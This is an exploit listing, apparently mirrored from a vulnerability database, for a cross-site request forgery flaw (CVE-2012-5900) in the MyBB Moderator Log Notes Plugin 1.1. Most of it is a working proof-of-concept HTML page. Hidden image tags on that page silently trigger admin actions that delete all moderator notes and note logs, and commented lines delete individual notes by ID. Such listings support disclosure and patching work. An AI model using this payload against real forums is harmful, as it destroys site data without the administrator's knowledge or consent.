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MyBB Moderator Log Notes Plugin 1.1 Cross-Site Request Forgery

CVE Category Price Severity
CVE-2012-5900 CWE-352 $500 High
Author Risk Exploitation Type Date
Unknown High Remote 2018-08-20
CPE
cpe:cpe:/a:mybb:moderator_log_notes_plugin:1.1
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018080132

Below is a copy:

MyBB Moderator Log Notes Plugin 1.1 Cross-Site Request Forgery
# Exploit Title: MyBB Moderator Log Notes Plugin 1.1 - Cross-Site Request Forgery
# Date: 2018-05-17
# Author: 0xB9
# Twitter: @0xB9Sec
# Software Link: https://community.mybb.com/mods.php?action=view&pid=1105
# Version: 1.1
# Tested on: Ubuntu 18.04

# 1. Description:
# The plugin allows moderators to save notes and display them in a list in the modCP.
# The CSRF allows an attacker to remotely delete all mod notes and mod note logs 
# in the modCP & ACP.

# 2. Proof of Concept:

<html>
<body>
<-- Deletes mod note logs -->
<img style="display:none" src="http://localhost/mybb15/admin/index.php?module=tools-modnoteslog&action=dal" alt="">
<-- Deletes mod notes -->
<img style="display:none" src="http://localhost/mybb15/admin/index.php?module=tools-modnoteslog&action=dmn" alt="">

<!-- You can also delete notes individually by the nid (note ID)
<img style="display:none" src="http://localhost/mybb15/modcp.php?action=deletenote&nid=3" alt="">
<img style="display:none" src="http://localhost/mybb15/modcp.php?action=deletenote&nid=2" alt="">
<img style="display:none" src="http://localhost/mybb15/modcp.php?action=deletenote&nid=1" alt="">
-->
</body>
</html>

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